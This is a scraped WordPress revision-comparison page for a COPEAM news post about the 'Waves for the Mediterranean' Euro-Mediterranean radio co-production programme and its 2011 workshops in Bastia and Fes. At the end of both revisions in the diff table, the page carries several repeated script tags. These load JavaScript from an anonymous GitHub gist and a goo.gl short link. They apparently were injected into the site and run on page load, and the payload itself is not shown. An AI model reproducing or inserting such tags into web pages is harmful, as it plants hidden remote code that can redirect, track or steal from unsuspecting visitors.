You are viewing an old revision of this post, from January 7, 2011 @ 14:21:21. See below for differences between this version and the current revision.
Bastia, April 2011
The journalist which are co-producing the 2nd co-production series in the framework of the Waves for the Mediterranean programme gathered in Bastia for a workshop devoted to mixing techniques.
Upon invitation of Radio France / France Bleu Frequenza Mora – member of the WfM consortium and executive producer of the series – journalists participating in this co-production dedicated to the Mediterranean cinema analyzed their work under the careful supervision of the executive producer of the series. Debates on the dubbing methodology were carried out in order to address the language issue.
The series – realised through the contribution of eight radios members of COPEAM (Radio France / FB Frequenza Mora), EPRS (Algeria), Radio Tunisienne, SNRT (Morocco), HRT (Croatia), MKRTV (Macedonia), PBC (Palestinan Authority) and RTSH (Albania) is currently being achieved and will be ready by July 2011.
Changes:
| January 7, 2011 @ 14:21:21 | Current Revision | ||
|---|---|---|---|
| Title | |||
| Closing workshop of the 2nd co-production of the Waves for the Mediterranean programme | Programme “The waves for the Mediterranean" | ||
| Content | |||
|---|---|---|---|
| <p> | |||
| <br /> | |||
| <em>Bastia, April 2011</em><br /> | |||
| <br /> | |||
| “The waves for the Mediterranean" radio cooperation project, that started in December 2009, brings together six partners: the Tunisian Radio as project leader, Radio France (France Bleu <span data-scayt_word="Frequenza" data-scaytid= "1">Frequenza</span> Mora), <span data-scayt_word="ENRS" data-scaytid= "4">ENRS</span> (Algeria), <span data-scayt_word="SNRT" data-scaytid= "5">SNRT</span> (Morocco), <span data-scayt_word="ESAV" data-scaytid= "8">ESAV</span> (School of Visual Arts in Marrakech - Morocco) and <span data-scayt_word="COPEAM" data-scaytid= "9">COPEAM</span> as coordinator. | |||
| Presented in the framework of the Call for proposals for programs <span data-scayt_word="ALF" data-scaytid= "11">ALF</span>/<span data-scayt_word="CFP" data-scaytid= "12">CFP</span>/2009/<span data-scayt_word="LTP" data-scaytid= "13">LTP</span>/146 of the Euro-Mediterranean Anna <span data-scayt_word="Lindh" data-scaytid= "14">Lindh</span> Foundation – it won 49% funding of its total value. | |||
| <img alt="" src="../../userfiles/ image/DSC07111.JPG" style="width: 214px; height: 143px; float: left;" />The journalist which are co-producing the 2<sup>nd</sup> co-production series in the framework of the Waves for the Mediterranean programme gathered in Bastia for a workshop devoted to mixing techniques.<br /> | It aims at developing, strengthening and perpetuating specifically Euro-Mediterranean radio co-productions and at supporting mobility for the sector’s young professionals. | ||
| <br /> | |||
| Upon invitation of Radio France / France Bleu Frequenza Mora – member of the WfM consortium and executive producer of the series – journalists participating in this co-production dedicated to the Mediterranean cinema analyzed their work under the careful supervision of the executive producer of the series. Debates on the dubbing methodology were carried out in order to address the language issue.<br /> | |||
| <br /> | |||
| The series – realised through the contribution of eight radios members of <strong>COPEAM </strong>(Radio France / FB Frequenza Mora), <strong>EPRS </strong>(Algeria), <strong>Radio Tunisienne</strong>, <strong>SNRT </strong>(Morocco), <strong>HRT </strong>(Croatia), <strong>MKRTV</strong> (Macedonia), <strong>PBC </strong>(Palestinan Authority) and <strong>RTSH </strong>(Albania) is currently being achieved and will be ready by July 2011.</p> | |||
| This will be done on the one hand, through supporting contents of both <span data-scayt_word="Kantara" data-scaytid= "16">Kantara</span> radio program and its development and two radio series to be co-produced by members of <span data-scayt_word="COPEAM" data-scaytid= "10">COPEAM</span> Radio Commission on shared themes promoting <span data-scayt_word="dialogue" data-scaytid= "23">dialogue</span> in the <span data-scayt_word="Euromed" data-scaytid= "24">Euromed</span> region; on the other hand, through actions aimed at encouraging radio professionals’ work – journalists, producers - and at <span data-scayt_word="favouring" data-scaytid= "25">favouring</span> their mobility by the organization of eight training/co-production workshops hosted by partners: four on the two radio series and four on <span data-scayt_word="Kantara" data-scaytid= "17">Kantara</span>, in the perspective of an evolution of this program in a weekly news magazine on the Mediterranean. | |||
| All this is the result of the work and of the will of the partners to support a shared and valuable Mediterranean radio activity. In particular, it was reached thanks to the efforts of our Radio Commission members, of its Vice-presidency and its Presidency (Radio France / France Bleu <span data-scayt_word="Frequenza" data-scaytid= "2">Frequenza</span> Mora), who acted as executive producer for the first two Mediterranean co-productions (Portraits of Footballers, The Mythical <span data-scayt_word="harbours" data-scaytid= "26">harbours</span> of the Mediterranean) and <span data-scayt_word="Kantara" data-scaytid= "18">Kantara</span>. | |||
| <span style="color: #3366cc;"><span style="font-size: 14px;"><strong> HIGHLIGHT</strong> </span></span> | |||
| <strong>Closing workshop of the Waves for the Mediterranean <span data-scayt_word="programme" data-scaytid= "27">programme< /span></strong> | |||
| <em><span data-scayt_word="Fes" data-scaytid= "32">Fes</span>, June 2011</em> | |||
| <img style="width: 207px; height: 138px; float: left;" src="/userfiles/ image/Pierre Mari, Fatma Zairi et Malya Behidj.jpg" alt="" />The journalists who are co-producing <span data-scayt_word="Kantara" data-scaytid= "19">Kantara</span> in the framework of the Waves for the Mediterranean <span data-scayt_word="programme" data-scaytid= "28">programme</span> gathered in <span data-scayt_word="Fes" data-scaytid= "33">Fes</span> for their final workshop and a first assessment of the new format. This workshop was the last planned in the mentioned <span data-scayt_word="programme" data-scaytid= "29">programme</span>, co-funded by the Anna <span data-scayt_word="Lindh" data-scaytid= "15">Lindh</span> Foundation. | |||
| Upon the invitation of the <span data-scayt_word="Fes" data-scaytid= "34">Fes</span> local radio of <span data-scayt_word="SNRT" data-scaytid= "6">SNRT</span> (Morocco) – member of the <span data-scayt_word="WfM" data-scaytid= "36">WfM</span> consortium – the producers of the <span data-scayt_word="Kantara" data-scaytid= "20">Kantara</span> magazine carried out a two-day workshop in order to assess the progress made since the beginning of the <span data-scayt_word="programme" data-scaytid= "30">programme</span> and suggest further developments, in the presence of the President of the Radio Commission, Mr. <span data-scayt_word="Hervé" data-scaytid= "38">Hervé</span> de <span data-scayt_word="Haro" data-scaytid= "39">Haro</span>. | |||
| Alongside this work, they recorded a special episode of <span data-scayt_word="Kantara" data-scaytid= "21">Kantara</span> dedicated to the city of <span data-scayt_word="Fes" data-scaytid= "35">Fes</span> and the Sacred Music Festival that was taking place in the city during the same dates. | |||
| As of today and thanks to the support of the <span data-scayt_word="WfM" data-scaytid= "37">WfM</span> <span data-scayt_word="programme" data-scaytid= "31">programme</span>, <span data-scayt_word="Kantara" data-scaytid= "22">Kantara</span> is co-produced by <strong><span data-scayt_word="EPRS" data-scaytid= "40">EPRS</span></strong> (Algeria), <strong><span data-scayt_word="ERTU" data-scaytid= "41">ERTU</span> </strong>(Egypt), <strong>Radio France/France Bleu <span data-scayt_word="Frequenza" data-scaytid= "3">Frequenza</span> Mora</strong>, <strong><span data-scayt_word="RTCI" data-scaytid= "42">RTCI</span> </strong>(Tunisia), <strong><span data-scayt_word="RTVE" data-scaytid= "43">RTVE</span> </strong>(Spain) and <strong><span data-scayt_word="SNRT" data-scaytid= "7">SNRT</span> </strong>(Morocco. | |||
| <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <a href="http:// www.facebook.com/ album.php?aid= 34389&id= 127100014015208& saved#!/photo.php?fbid= 161985703859972& set=a.161985563859986.34389.127100014015208& theater"><img style="width: 23px; height: 23px; float: left;" src="/userfiles/ image/fb(1).jpg" alt="" /></a> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
